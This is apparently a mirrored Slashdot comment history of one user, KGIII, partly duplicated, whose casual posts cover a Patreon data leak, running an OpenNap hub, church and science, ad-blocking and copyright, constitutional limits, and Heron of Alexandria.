I am, by no means, an expert on this subject but is this an area where you really want to hunt for bargains? I think one would want to pay top dollar for this sort of service. I'd want someone who is skilled enough to demand a high rate and someone who's willing to stay silent after the fact because they've been well paid.
I dunno. I've got karma to spare for a test like this. We'll see...
I never moderate - as in never. I probably haven't used my moderator points in years, probably several, and I get moderator points on a very regular basis.
Well, you made me use the Google. The funny thing is, I should still be sleeping. Something made a loud noise and I was woken up.
The passwords are actually the least interesting part of the leak. There are unencrypted private messages and a user database that allows you to see who was supporting whom.
Expect some interesting articles about people like Thunderf00t and Sargon of Akkad in the next few days. Their private messages are likely a goldmine of damning information and may help the campaign to get them de-funded.
Now unless I'm reading "goldmine" as something that's not positive and "help the campaign" as an active campaign to get people "de-funded" which will limit their ability to speak to a wide audience then no - you're guilty of exactly those things.
Perhaps, maybe, it is my reading comprehension. I didn't cherry pick, I quoted the entirety of your quote. I'm a fair individual. I'm not entirely sure how one can possibly misconstrue something you said - in that case.
I suppose you can claim that you didn't mean goldmine as a positive thing. I'm not gonna buy it. Nobody else is gonna buy it. If one doesn't support finding a goldmine, salivate at the idea even, then I don't know what's wrong with them.
Wow, you're a wee lad. Sit down kiddies, Grandpappy KGIII is gonna tell you a pointless story...
The K6-2 was my first exposure to AMD. I'd always just used Intel before that and the data center had Sun equipment and the office had Sun workstations. I had the AMD K6-2 350 with Windows ME on it and it was *stable* to the point where I had multiple months of uptime while running an OpenNap server and a server hub (connecting disparate servers into one big server - think distributed Napster, basically). I had it overclocked to just a whisker under 500 MHz and it was still stable. It was hot but stable.
I had broadband at the office (upgraded from an ISDN to an OC12 at the time - as I recall, later an OC48 but I'd been "kicked out" of my own DC by then and had real competent people running things) and moved the computer into the server room and ran the hub from there. Eventually, Napster was attracting a lot of legal attention at the the time - it might have been Kazaa that was in the news or whatnot, we were visited by some men who had a taste for drama and dark attire. It would appear that a variety of illicit things were being shared on the network and I was asked if they could manage it for us and, if not, if I'd be so kind as to disable it.
They were still in the office and followed me in and observed me just pressing and holding the power button to force it to shut off. They didn't want to take it with them (I'd have asked them to get a warrant) or anything but they did want to monitor it and collect the data from it. As the hub it could see all the searches, file connections and transfers, and things like that. After they left I asked a tech to wipe the drive and I don't actually know what happened to the computer after that.
This was before the PATRIOT ACT as I recall? I'm not entirely sure of the date but I know it was that computer. I think 9/11 might have happened but I don't think we'd quite reached the TSA/DHS stages of life at that point. I'm pretty sure that they didn't have NSL things at the time. It was a pretty stupid thing for me to have done but it was kind of exciting. I can only imagine the world of hurt that I'd be in today if that situation were to happen in today's world. Sadly, this was only somewhere around 15 years ago. It's amazing how much has changed in such a short time.
Today? I'd probably be facing legal issues or have had been forced to install some software to allow them to monitor the connections and traffic. OpenNap didn't encrypt anything like search data or connectivity data. As the hub, anything that left the individual OpenNap server was something I could see in the logs, at least that's how I remember it. I don't think that I could *easily* view chat as the connection was made across the hub and then the connection was made P2P but the searches and the selected transfers could be seen if they searched for music/porn/files across more than just the server they connected to - you didn't have to connect to the hub and each server could run independently of each other but when they were connected to the hub you could search the whole thing. I had both a hub and a server running.
Hmm... I think it was kgiii.no-ip.org:8088 and metal-hub.no-ip.org:8089 for the hub. Something like that, at any rate. I think the combined users were in the 20-30,000 most of the time with peaks during nights and weekends. As I recall, I used something called WinMX to connect. We survived for a couple of years and they kept going for a while after I left. I sincerely believe that those sorts of activities would land me in prison or in a civil courtroom today. It really is amazing how much the landscape has changed.
We were, shall we say, still a wee bit like the Old West back then. It was a lot more tame than it was when we dialed into individual computers or small networks (it took like a day for an email to travel all the way to Australia but it was awesome and it sometimes actually worked) but it wasn't as tame as it is today. Don't get me wrong, it was never real
So the Belgian Army is engaged in a war on religion!!!
Heh... I'm actually kind of surprised that no one has jumped to those conclusions, based on your comment, and used it for a tirade. No, really, I scrolled down and checked. I'm kind of surprised. This particular subject, Clock Boy, tends to bring out some eccentric (for wont of a better word) people who are quite eager to use anything as an excuse to lash out. Hell, I'm pleasantly surprised that nobody commented along that line. Err... Except for me, of course. I'm not sure that it counts when it's done in jest.
Actually, a lot of science was done by the church once upon a time. Before trotting out the Galileo line (which you're probably itching to do) you might actually want to look into him a bit more closely too. He wasn't put under house arrest for science but for being an idiot. However, the church did lots of science and weren't even particularly anti-science for much of their history. They're still doing science today - quite a bit of it in astronomy and no, no they're not looking at the heavens for God or anything, they're doing real science stuff with their expensive telescopes and full Ph.D scientists.
No, no I'm not a Christian but I am sort of religious. I'm not a member of a religion that the Christians are very fond of either. So, no, this isn't some biases talking - you can look this all up and verify it. I'm a Buddhist, you'd probably say Secular Buddhist, but I prefer a "really piss poor excuse for a Buddhist and sure as shit not a monk." So, while I kind of don't really like the Church, I don't have different reasons for not liking them. They've actually contributed quite a bit to science over the years and some of them are of the mind that the two coexist nicely and don't need to be separated.
Err... Some even postulate that science (at least math) proves that there is a creator. There are more than a few documentaries on the subject and there's at least one episode of the hour-long program with Morgan Freeman that goes into this at some detail. Quite frequently they posit that our very existence is so improbable as to be considered mathematically impossible. While I am inclined to disagree, it's really not much more than a negative and thus can't be proven really. I see no reason to believe it is the case but I figured that I'd share what I know of their views. In other words, take it up with them if you want to argue - it's not my argument.
Thanks! Much appreciated. I'm not a scholar of history but I do try to learn a little here and there. It is disappointing that I have to tell this to people. It's unfortunate that you're the only one who picked up on it and commented. It really should be discussed by people who are more knowledgeable than I.
I'd also ignore the down mod. I got three in a row. That means that Matrix007 got mod points. They did get five for a while but now they only get three and they waste them all on me. They're my stalker. I'm greatly amused by them. At least I assume it's them. They told me they were going to mod all my posts down. It was five, they happen within a few minutes of each other, and now it's just three. I suspect that they're counterbalanced by meta moderation and that means they're losing points. It's too bad, really. I kind of like the attention.
Anyhow, I appreciate the lesson and it gives me a few points to do some additional reading/research. I'm disappointed that we've a Constitutional Scholar as a president who's used that scholarship to encourage and abet the circumvention of the document and its very ideals. I was a little skeptical of posting my comment, not because I fear moderation, because I didn't really have the wherewithal to dig out the resources to cite my claim. I was a little leery that I'd be asked to defend it and I don't quite know how to go about doing that in a reasonable time.
As I said, my fascination with history is not a scholarly pursuit. I do make an effort to understand. What's great is that someone on Slashdot frequently has the knowledge that I don't have. I can mention something like this, something that you might not have thought of or taken the time to write about, and mention the basics and someone (namely you in this case) will come along and fill in the gaps for me and for the other readers. I watch a lot of documentaries but they're entertainment and learning is incidental - I don't watch any real television and haven't in years so having all these documentaries online makes me very happy.
Having said that, and this may be tough to answer, there are mechanisms in place to get us back to where we were. Even SCOTUS can overturn prior decisions. I see this as a very unlikely outcome. Baring a straight up bloody revolution, do you see any path back to those limitations? Do you see the government conceding power willfully? If so, how can we go about working towards that goal?
Just for you.;-) You win a gold star for improvement. Marginal improvement but improvement nonetheless.
Hmm... No... Marked improvement, really. I dunno how I remembered the earlier posts (I can't even be certain what I ate for dinner two nights ago) but somehow that stuck in my head. I dare say, with some work, you'll be almost rational again in a few years. Think carefully how the data can be abused. You don't think your heroes are without blemish, do you? In certain subsets of our culture - those who support your idols will also be targeted should this information come to light. Be careful what you wish for.
The very idea that you wanted to have people silenced is still baffling to me. Well no, I understand disliking it but I don't understand the desire to control others. Better the idiot you know than the one skulking about in the shadows, no? People should be free to be stupid and people should be free to enable others to be stupid, no?
What if, say, a closeted homosexual were an executive at a conservative company and donated a goodly amount of money to someone you enjoyed and respected via Patreon? What if this is a bunch of people? What if this is just enough people who lose their jobs, after this information comes to light, for "other reasons" and the idols you have are no longer able to be advocates? What if those companies are put out of business because they have conservative or religious customers who drop them and they're no longer able to support your idols? What if they were having private personal messages discussing their nefarious plans to take down the two people you mention in your post and are then stripped of their membership at Patreon for conspiring against another user in an effort to deprive them of income?
You'd absolutely not support this data leak then - in fact, we both know you'd be slamming it and claiming it was against the law, the perpetrators need to be jailed, and that someone ought to do something! You'd be in straight up hysterics. (If the conniption fits, wear it.) You'd be, shall we say, going ballistic and we both know this to be true.
So, yes, I see your post today as tempered and a marked improvement and my original conclusion that it was a marginal improvement is in error. You're no longer calling for people to act on this to use it as a weapon to silence people and that's an improvement. I figured that I'd referenced you and discussed you in a comment below so it was only fair/appropriate to notify you of such. There is no need to respond but you can, if you want. You don't usually reply to folks but I know you read them.
'Snot my fault you marked me as a foe. Sheesh. That's the indicator that I use to keep track of users so I can remember who's said smart things and who hasn't. Thus it automatically brings your posts to my attention. The funny thing is, we're probably on the same side and you just don't realize it. Err... And I'm also not a crazy zealot so there's differences. I admire your ability to empathize but you sure seem to lose perspective with some issues and take things to an extreme - to the point of becoming that which you profess to hate.
Ah well, there's your amateur (unqualified) psychoanalysis. In fairness, I admire your empathy but I'd dread having your logic circuits. I imagine that there are subjects where I too am irrational but I don't see it because, well, I'm irrational. Anyhow, as said, no need to reply unless you feel compelled to do so. I just figured I'd share that you were discussed and that you might miss said discussion and the chance to speak on your own behalf if you felt a need to do so. I also figured that I'd commend you on your more tempered response. I'd like to think that you'd do the reverse and, if you wouldn't, don't tell me 'cause I would prefer to not be disillusioned. I am jaded enough, thanks. And no, I don't think I stated anything that you'd defend yourself from but it would be "unfair" of me to not give you the chance to do by omission.
If you follow this topic back to the beginning of it - as it showed up here, you can find that AmiMojo very specifically rooted for this data to be released in hopes that it would be used to silence the people they don't agree with. They were quite pleased about the idea and hoped that it would make people cut off their funding and inhibit these people's ability to be heard and motivation to speak. In other words, they wanted to make them less able to act on their freedom of speech. They were quite open about this.
This? This is an improvement. Ami's made some decent strides as of late. Just encourage them to think and show them the people they're associating with and how their behavior is seen. I'd never have noticed but I did something to piss them off so they flagged me as a foe. I'd never really paid attention to them. Unfortunately, for them, some things stick in my memory and the little flag makes me pay attention to their username as I use the flag to mark posters who have interesting things to say or to ignore those who don't.
So, that means I remember. I'm too lazy to dig through their post but they're all public. Just click on the older link at the bottom of their profile and go back in time. They've discussed this in two separate threads - this is the third. Their tone has tempered since the first and, frankly, I'm kind of proud of them. I see their zealotry as a problem but not their empathy. In my view, they're empathetic to the point that they lose rationality. Meh, it happens to all of us with certain subjects. We're not Vulcans.
Anyhow, feel free to verify this. This is actually an *improvement* for them. (I don't imagine that they'd expected anyone to recollect their prior posting and, truthfully, I wouldn't have but they made themselves a detail that I pay attention to.) At first they were gleeful and eager. They wanted a group of people to use this information to shut down the two specific people that they mentioned in their post. They wanted others to take away their funding source and limit their ability to speak.
If it were people outing homosexuals for the purpose of embarrassing them then I doubt they'd be so inclined to root for the data leak and would be saying leaking such data is immoral. But, baby steps. I'm kind of surprised that I remembered but, well, some things just stick in your memory for some reason. The material is free for one to look up if they want. I'm a bit lazy so that's unlikely to be something that I do.
I'm not positive but I think war profiteering is supposed to be illegal. It doesn't appear to be prosecuted in modern times, however. We've got a war on *everything* except stupidity (but I think there's a war on illiteracy). With that in mind, I'm now thinking there are a number of business executives who could do well by serving a little prison time. We should let out some non-violent drug offenders to make room.
The book you bought at the book store was a single copy, not multiple copies made from a single source. I don't think a fair use exception is *likely* to hold up - even in Germany. Either way, you bought one book that the vendor purchased and sold to you. The app company bought nothing, is stripping the ads out, repackaging, and selling the content. Hyperbole aside, that's just not going to fly in a reasonable court. There's a big difference between that and buying a used book with some notes and missing/torn pages.
Hmm... This would be more like buying a single copy, scratching the authors name out, adding some notes to the margins, maybe highlighting something, cutting out the pictures, ripping out the table of contents, inserting your own table of contents, throwing the appendices into the trash, photocopying it 10000 times, and selling the copies! (I mean, if we're gonna be hyperbolic then I want in on this too.) I just don't think the fair use argument is valid. Altruistic? Yes. Valid? Not so much.
Were I to take the side of the newspaper company, I'd have opted to not seek redress under copyright alone - I'd have also first vied for estoppal with basic tenets (assuming they're similar) of property law. I'd think the property laws would be stronger protection though they may not cover financial loss. If they can prove the property violation (seems trivial) then they can likely prove demonstrable harm with a copyright suit (assuming it is similar to the US) and then seek financial compensation.
I detailed the property harm in another post in this thread if it's not clear.
Obviously, don't think that I'm absolutely advocating that this is how it should be. I'm simply saying this is how it is. I'd go so far as to say I'm not entirely sure how it should be - I truly haven't reached a conclusion as to how it *should* be. At this point, I'm inclined to believe that a company, or person, should have complete control over their property and that includes the server owner having a right to say how their system is used. At the same time, I find that antithetical to the idea of an ideal of freedom but, then again, freedom does (potentially) rely on the basic concepts of ownership and control of one's property. For, of course, certain definitions of freedom.
Again, if that's confusing, this thread has a more detailed post on my thoughts concerning the property rights aspect. At this point, it's mostly mental bubblegum.
At any rate, to use your book as yet another example of why this isn't likely to be found legal, the author of the your book was paid once and someone reselling books have an explicit exception in them known as the 'first sale doctrine.' There's no exception for that in this case and, if there was, it'd only include the ability to sell a single copy.
You could *probably* buy a single copy of the paper, we'll say physical for simplicity, and cut the ads out of that before reselling it at a profit or loss. I dare say that such would be completely legal. You can build a device that would enable paper BUYERS to view their PURCHASED papers without seeing the ads. But you couldn't sell them a device and then steal the paper for them every day so that they had a copy to read.
Hmm... You know? There's no really good analogy for this. I'll try to think of a car analogy if you want but I'd be a little suspicious if you asked for one.;-)
Their syntax is similar to my stalker. They sometimes post while logged in. Do you get strange down-mods from time to time but only three of them? (I make enough off-topic posts, they should be able to legitimately use up those mod points with just a little effort.) I'm starting to wonder if meta moderation has impacted them? They could moderate five down but now it's just three. They're usually within ten minutes of each other, I made it a point to try to observe them out of curiosity.
It kind of strokes the ego to be able to control someone like that. I just turned my positive post modification on which more than negates them and enjoy the attention. Sometimes they post and call me names. I'm usually all too kind in my replies for I'm afraid they're mentally ill and I'd not want to be even partially responsible for their hurting themselves. It does stroke the ego however, so there's that.
Maybe we have the *same* stalker? I'd presume they're unemployed as they seem to have an inordinate amount of free time. If they let me know where they lived and the field they preferred then I might actually know someone who will give them a chance if they're willing to put on clean clothing, act like a human, and put a legitimate effort into working a full day. I know a lot of people and it wouldn't be the first time that I've been able to get someone a job.
So, yeah, I'm just kind to them (well, I poke at them once in a while for my own amusement) and realize that they're taking the time to make you the center of their attention. They're giving you control of their time. They're giving you work and accumulated resources in order to show you that you're important to them. It's all about perspective!
Somewhere we screwed up. See, as near as I can tell - and I'm not an expert, the Constitution was an enumerated list of things the Government could or could not do. Basically, it said what the government could not do AND what the government could do - with certain limitations. Now, I'm not sure when, we seem to have interpreted this poorly. It has become more like, if the Constitution does not say that it is, expressly, disallowed then it is permitted. They seem like similar things at first blush but, really, they're not - the difference is kind of huge in practice.
I don't know where we screwed up and, maybe, I am missing something but that's seemingly how it was meant to be. Once upon a time (and it did not seem to be a long time) the idea was that if the Constitution didn't say they could do it then they couldn't do it and if the Constitution said that they couldn't do it then it was strictly verboten even if they could twist it into other definitions.
From my reading and learning, I've decided that there's no one spot to place the turn about. I think the biggest change happened when they decided to use their ability to regulate commerce between the States to stomp on a farmer and SCOTUS decided to uphold it. I don't really know so that's speculation that is based on my limited research and incidental learning.
I could be wrong but I don't think I am. There are a lot of people who seem to support this reinterpretation of the principle objectives in the very idea of a Constitution. I wish I could articulate this better but I am not a writer. Well, I am not a good writer.
I'm inclined to agree that that *should* be the case but this is, still, private property with the various rights associated with it as well as copyright. This is, of course, open to debate as to changing it but, until those are altered, they may have legal standing. I'm not sure where I'd fall in the opinion range as to changing property rights but I can see changing copyright laws. Even if the store is open, they can still insist you neither take stuff that doesn't belong to you AND insist you wear a shirt and shoes. They can probably even insist that you wear a green shirt. While silly and not a good business model, I do support their right to make bad choices.
Now that's taking it to an extreme level and you missed the finer points... Intentionally? Willfully? Did you intentionally skip the part about fair use and retaining certain rights?
Also, note that it is more like buying a book, writing "From the library of KGIII" and then making multiple copies and selling those. The two are NOT the same.
Sheesh... I know you're smarter than this.;-) I *do* hold you to a higher standard than most but, c'mon now!
Wait... They're joking? Heh... I had no idea and sat there baffled for a minute. I couldn't figure out how one would keep Britain white (it hasn't been for a very long time) and figured they were part of the MUDKIP party or whatever those folks are that keep insisting their not racists but want to cut immigration. Err... I don't exactly keep up with UK politics so... I was wondering how they'd been modded up. I honestly did not know that they were joking. Maybe it's my exposure to Slashdot? Either way, it's hard to tell. I'm quite certain that there is a subset of people who believe exactly as they posted. While I don't keep up with the politics, I have been exposed to some articles about some of the people there.
While certainly true - the point which I was making is that there are some minimal criteria to be met in order to be competent at the job one was hired for. There's also a basic level of knowledge and ability to research that one needs to have if they're to be competent. I chose my example question carefully because I know there are many, many online resources that would give a good grounding and enable them to ask more specific questions if they struggled at some point in the many, many online resources available that would answer all of those questions.
My example question was not a random one. There's absolutely no reason for a question that vague, or demonstrating that much unwillingness to do the initial research, to exist on the site(s). Fortunately, they're usually closed but that they're even asking such questions, at such a site, is a good indicator that they're probably not a good hire.
Presumably, in your case, you'll not only know enough to get up to speed quickly but you'll know which questions to ask in order to get up to speed quickly. You won't need to ask vague questions or, basically, need someone to write a step-by-step for you (which is also something seen). Another that irks me is when they person insists that it is urgent and tells (not asks) you to do something. "Send me a step-by-step." "Write the script for me." That seems cultural, in many cases, so I am not really qualified to opine as I am not a cultural studies or anthropology student or anything. I'm thinking that gratitude is implied but poorly conveyed in text so that my being irked may not be entirely justified in those cases even if I feel they should learn the cultural conventions if they're going to learn the languages.
At any rate, I assume that you're capable and competent enough to know how to be a DBA. To put your example into context, it would be like someone saying that they're a DBA and have been for years only to follow it up by asking what joins and tables are.
The solution is not to take use their content without adhering to their terms but to simply not use their content. This is not a difficult or situational-ethics topic. It's pretty cut and dry. They don't have a right to run code on your machine. You do not have a right to their content.
As such, a couple of things are in play...
They can say, if you want to access B then you must allow A and C. They then can serve up the content if you allow that content to run.
You can say, I do not want to allow C. You can then elect to find a different resource or create your own.
Ideally, you'd be able to access B without needing to access A and C but it's their toy and they don't have to let you play with it. They're not obligated to share and you're not obligated to let them access your computer. If you don't like their terms then don't use their services. Unless you're using Firefox, you probably have a back button. If not, then you probably have an address bar.
You are not necessarily permitted to do so. I can not, for example, take a book and modify it a little bit and then transfer copies of it even if I include the original. It's rather subjective and it's hard to say but I suspect that this will not fall into the "fair use" case much like it wouldn't likely succeed as a fair-use case if they stripped out ads and packaged it anew with ads of their own or similar things.
This is the German courts, however. No telling how they'll go. It does have the required bits to make it an interesting case, so there's that. I'm going to have to ask for a citation for your conclusion that such is legal provided you include "all copies, modified or not, when you transfer the originals." You don't even have a *right* to transfer it and, as far as I know, German law is the same in these regards. For instance, you can not just print out their site and hand it out to people - as a general rule. There are some exclusions where you have certain rights but selling an application isn't likely one of those areas.
While true there's the caveat as you're utilizing property, namely a computer, that doesn't belong to you. I'm of the mind that they're free to say that I can't access their site unless I disable my adblocking software. It's their property and they should be able to set the terms and conditions for accessing that property. I am, of course, free to abide by those choices or simply press the back button.
Much like they've no right to force you to run code, you've no right to access their property without their permission. If their permission requires the ability to run code on your machine then your answer should (or could) be to simply not visit. If you don't like their terms, do not use their site. It's pretty simple, really.
If enough people don't visit then they'll either do as you suggest - adapt their model or users will accept their terms. If you can't accept their terms then, by all means, don't use their product. If you're using their product without adhering to their terms then maybe you are violating the law and maybe litigation is required. If I tell you that you can come into my house but you can't steal my silverware then you should adhere to those rules. If you don't then I'm likely to ask you to leave. If you insist on entering my house and stealing my silverware then I have a right to seek legal redress.
Optionally, if your goal is to acquire silverware, don't do it at my house. Or, you know, find a house where they'll let you take their silverware (but it's not really stealing it - if they've given permission). I guess, in the real world, I'd probably just buy you a set of silverware if you didn't have any but, frankly, I think that this tortured analogy is best off dead at this point.
I use adblocking software. I have since the very early days of the WWW. If a site doesn't like it then I either turn it off (unusual) or I leave (typical). I also control what scripts I allow and disallow. If a site tells me that I can not do so then I do not do so. It is their property to decide and my property to decide. I've no right to their content and they've no right to my machine. What we do have is the ability to make decisions as to what we'll allow and disallow. Some folk decide to allow it all, some to allow none, and I prefer to make a choice based on the site, my desire for the content, and how much permission they're asking for.
I don't know if that was a Greek or if it was a Greek living in a later date and living in Egypt. I forget his name and am a bit too lazy to look it up but if the person you're speaking of is the same one that I'm thinking of (the first to do such) he was also the person who made the first steam engine except he never made it work. He did things like make a coin operated holy water dispenser? If it's him then it's usually (wrongly) attributed to the Greeks and to the age where they were at their peak. He was an Alexandrian (not sure if by birth or not) and did much of his work in the temples there. The famous historical UK model maker has recreated some of his work including the device you seem to be referencing.
(I just re-watched a documentary about him, specifically, a couple of months ago.)
Oh - Heron. That was his name, as I recall. Heh... There's a whole documentary about him, at least I think it was entirely about him. He was, as I recall, from an age that's typically considered later than the age of the Greeks. He was in Alexandria, as I recall. Only a few of his writing survived the destruction of the famous library there. It was in the library, they believe, that he did much of his work and research which would have, of course, relied on the older Grecian works.
I may be misremembering something but I'm pretty sure those are the main details. It's correct to say that he was Greek (as I recall) but not *really* correct to say that his work is attributed to the Ancient Greeks. This may be incorrect but I think his work was sometime in the 200 BCE range or newer? They may have even been in the 100 BCE area but, as said, I've not made a scholarly pursuit from this but simply seen him pop up in a bunch of documentaries over the years. Unfortunately, there's no good indexing of documentaries that would enable me to search the transcripts and find him and I'd probably be too lazy to do so considering that I've not even bothered to open Google for this comment but it would be awesome.
Hmm... This is more true than you might know. I watch an obscene number of documentaries and the subjects vary greatly. One of my favorite subjects is archeology as it ties in nicely with my absolute favorite - history. Other favorites are a variety of sciences, more specifically astrophysics and astronomy.
As of late, a recurring subject that is tangentially included is that things are turning out to be quite a bit older than we had previously thought. We're finding that ancient civilizations and their tech are much older than we'd previously believed. As we learn, we're finding out that the galaxy is older than we'd previously believed. We've been able to make further refinements and find out that the human species is older than believed. We've now determined that humans likely came to the Americas, in two separate waves, and that this happened further back in time than we'd previously believed.
It's kind of interesting and I keep hearing it mentioned in the various documentaries that I watch. I watch them almost to the exclusion of everything else so the internet has been a great benefit to me in those regards. I've never been a fan of television and haven't really watched much (or any, really) in a very long time and haven't watched much at all since the mid-1980s. It is nice to have this as a resource and something that I truly appreciate having access to but I digress.
If you're curious, the first wave of humans to make it (according to current evidence) to the Americas were in South America and the second group stomped across in the north. There's no evidence that the two groups ever met. Some Amerindians were able to use DNA to demonstrate this, or a portion of this, as evidence in a case to recover some remains. That particular documentary was some NOVA production and was a series about the origins of man. I've forgotten the title but I think it was something like, "Where did we come from?" (I don't watch for scholarly reasons but as passive entertainment. Learning is incidental and not my goal which means that names, dates, and specifics often are not locked in memory. It's learning by osmosis, so to speak.)
Entirely off-topic but I just re-watched Revolution OS (link for those who are new and/or unaware of it). It had popped up in the recommended videos as the next one that it would play and I'd not seen it for a number of years so I figured I'd let it play through. It is amusing with how much things change and stay the same - like the lyrics to the linked song.
With all the pressing issues, well, we get this. Throw us a fish to fight over so that we're distracted from more important things. For everything that changes, it's really much the same. I liken it to our use of the "cloud" and how, even with all these wasted compute cycles sitting in our pockets, we're returning to the age of the dumb terminal.
I don't have anything pertinent to say except that it was interesting to revisit the documentary after all these years. It's high time to make a second version with updated content that also revisits the first.
It took me a minute to figure out that I know who Mark Cuban is. At first, I thought it was some sort of way to swear a bunch and donate to a Cuban charity. I was set to unleash a torrent of profanity in an effort to lend assistance but, having read the summary (and not the article) and some comments, I've concluded that this charity is not likely to be something that I wish to render assistance to.
I'm all for being polite and all for using respectable speech. I am all for doing so of my own volition. I'd rather not have someone telling me that I must do so, shaming for failing to do so, or telling you that you are not allowed to do so. I'm free to censor my own speech. I'm not entitled to censor your speech. I'd not feel comfortable supporting a group that had a goal of censorship even if it was limited to peer pressuring folks into compliance.
Now, if talking trash and swearing meant that I'd be supporting a group that was pro-speech then I might consider it. If it were for a group that was advocating freedom of speech in Cuba then, by all means, I'd be interested. Cuba is a lovely place and full of nice people. I'm quite fond of the place and will surely be visiting again though I'm not entirely sure when it will fit into my schedule.
As an aside; I need to check out the new regulations concerning a travel visa. It has been a while since I last visited and I understand that the regulations have drastically changed. I do anticipate being in Florida in the very near future (probably in DC by the end of this week - post holiday) and it's a short flight to Cuba from there. I'll be certain to look into it when I get down that way - I should probably do so sooner as I don't know how much lead-time will be required. Every other time it has actually been easier than one might expect. I simply flew from Canada the first time and Mexico the second time.
Slashdot Mirror
I am, by no means, an expert on this subject but is this an area where you really want to hunt for bargains? I think one would want to pay top dollar for this sort of service. I'd want someone who is skilled enough to demand a high rate and someone who's willing to stay silent after the fact because they've been well paid.
I dunno. I've got karma to spare for a test like this. We'll see...
I never moderate - as in never. I probably haven't used my moderator points in years, probably several, and I get moderator points on a very regular basis.
Well, you made me use the Google. The funny thing is, I should still be sleeping. Something made a loud noise and I was woken up.
The passwords are actually the least interesting part of the leak. There are unencrypted private messages and a user database that allows you to see who was supporting whom.
Expect some interesting articles about people like Thunderf00t and Sargon of Akkad in the next few days. Their private messages are likely a goldmine of damning information and may help the campaign to get them de-funded.
Now unless I'm reading "goldmine" as something that's not positive and "help the campaign" as an active campaign to get people "de-funded" which will limit their ability to speak to a wide audience then no - you're guilty of exactly those things.
Perhaps, maybe, it is my reading comprehension. I didn't cherry pick, I quoted the entirety of your quote. I'm a fair individual. I'm not entirely sure how one can possibly misconstrue something you said - in that case.
I suppose you can claim that you didn't mean goldmine as a positive thing. I'm not gonna buy it. Nobody else is gonna buy it. If one doesn't support finding a goldmine, salivate at the idea even, then I don't know what's wrong with them.
Wow, you're a wee lad. Sit down kiddies, Grandpappy KGIII is gonna tell you a pointless story...
The K6-2 was my first exposure to AMD. I'd always just used Intel before that and the data center had Sun equipment and the office had Sun workstations. I had the AMD K6-2 350 with Windows ME on it and it was *stable* to the point where I had multiple months of uptime while running an OpenNap server and a server hub (connecting disparate servers into one big server - think distributed Napster, basically). I had it overclocked to just a whisker under 500 MHz and it was still stable. It was hot but stable.
I had broadband at the office (upgraded from an ISDN to an OC12 at the time - as I recall, later an OC48 but I'd been "kicked out" of my own DC by then and had real competent people running things) and moved the computer into the server room and ran the hub from there. Eventually, Napster was attracting a lot of legal attention at the the time - it might have been Kazaa that was in the news or whatnot, we were visited by some men who had a taste for drama and dark attire. It would appear that a variety of illicit things were being shared on the network and I was asked if they could manage it for us and, if not, if I'd be so kind as to disable it.
They were still in the office and followed me in and observed me just pressing and holding the power button to force it to shut off. They didn't want to take it with them (I'd have asked them to get a warrant) or anything but they did want to monitor it and collect the data from it. As the hub it could see all the searches, file connections and transfers, and things like that. After they left I asked a tech to wipe the drive and I don't actually know what happened to the computer after that.
This was before the PATRIOT ACT as I recall? I'm not entirely sure of the date but I know it was that computer. I think 9/11 might have happened but I don't think we'd quite reached the TSA/DHS stages of life at that point. I'm pretty sure that they didn't have NSL things at the time. It was a pretty stupid thing for me to have done but it was kind of exciting. I can only imagine the world of hurt that I'd be in today if that situation were to happen in today's world. Sadly, this was only somewhere around 15 years ago. It's amazing how much has changed in such a short time.
Today? I'd probably be facing legal issues or have had been forced to install some software to allow them to monitor the connections and traffic. OpenNap didn't encrypt anything like search data or connectivity data. As the hub, anything that left the individual OpenNap server was something I could see in the logs, at least that's how I remember it. I don't think that I could *easily* view chat as the connection was made across the hub and then the connection was made P2P but the searches and the selected transfers could be seen if they searched for music/porn/files across more than just the server they connected to - you didn't have to connect to the hub and each server could run independently of each other but when they were connected to the hub you could search the whole thing. I had both a hub and a server running.
Hmm... I think it was kgiii.no-ip.org:8088 and metal-hub.no-ip.org:8089 for the hub. Something like that, at any rate. I think the combined users were in the 20-30,000 most of the time with peaks during nights and weekends. As I recall, I used something called WinMX to connect. We survived for a couple of years and they kept going for a while after I left. I sincerely believe that those sorts of activities would land me in prison or in a civil courtroom today. It really is amazing how much the landscape has changed.
We were, shall we say, still a wee bit like the Old West back then. It was a lot more tame than it was when we dialed into individual computers or small networks (it took like a day for an email to travel all the way to Australia but it was awesome and it sometimes actually worked) but it wasn't as tame as it is today. Don't get me wrong, it was never real
So the Belgian Army is engaged in a war on religion!!!
Heh... I'm actually kind of surprised that no one has jumped to those conclusions, based on your comment, and used it for a tirade. No, really, I scrolled down and checked. I'm kind of surprised. This particular subject, Clock Boy, tends to bring out some eccentric (for wont of a better word) people who are quite eager to use anything as an excuse to lash out. Hell, I'm pleasantly surprised that nobody commented along that line. Err... Except for me, of course. I'm not sure that it counts when it's done in jest.
Actually, a lot of science was done by the church once upon a time. Before trotting out the Galileo line (which you're probably itching to do) you might actually want to look into him a bit more closely too. He wasn't put under house arrest for science but for being an idiot. However, the church did lots of science and weren't even particularly anti-science for much of their history. They're still doing science today - quite a bit of it in astronomy and no, no they're not looking at the heavens for God or anything, they're doing real science stuff with their expensive telescopes and full Ph.D scientists.
No, no I'm not a Christian but I am sort of religious. I'm not a member of a religion that the Christians are very fond of either. So, no, this isn't some biases talking - you can look this all up and verify it. I'm a Buddhist, you'd probably say Secular Buddhist, but I prefer a "really piss poor excuse for a Buddhist and sure as shit not a monk." So, while I kind of don't really like the Church, I don't have different reasons for not liking them. They've actually contributed quite a bit to science over the years and some of them are of the mind that the two coexist nicely and don't need to be separated.
Err... Some even postulate that science (at least math) proves that there is a creator. There are more than a few documentaries on the subject and there's at least one episode of the hour-long program with Morgan Freeman that goes into this at some detail. Quite frequently they posit that our very existence is so improbable as to be considered mathematically impossible. While I am inclined to disagree, it's really not much more than a negative and thus can't be proven really. I see no reason to believe it is the case but I figured that I'd share what I know of their views. In other words, take it up with them if you want to argue - it's not my argument.
Thanks! Much appreciated. I'm not a scholar of history but I do try to learn a little here and there. It is disappointing that I have to tell this to people. It's unfortunate that you're the only one who picked up on it and commented. It really should be discussed by people who are more knowledgeable than I.
I'd also ignore the down mod. I got three in a row. That means that Matrix007 got mod points. They did get five for a while but now they only get three and they waste them all on me. They're my stalker. I'm greatly amused by them. At least I assume it's them. They told me they were going to mod all my posts down. It was five, they happen within a few minutes of each other, and now it's just three. I suspect that they're counterbalanced by meta moderation and that means they're losing points. It's too bad, really. I kind of like the attention.
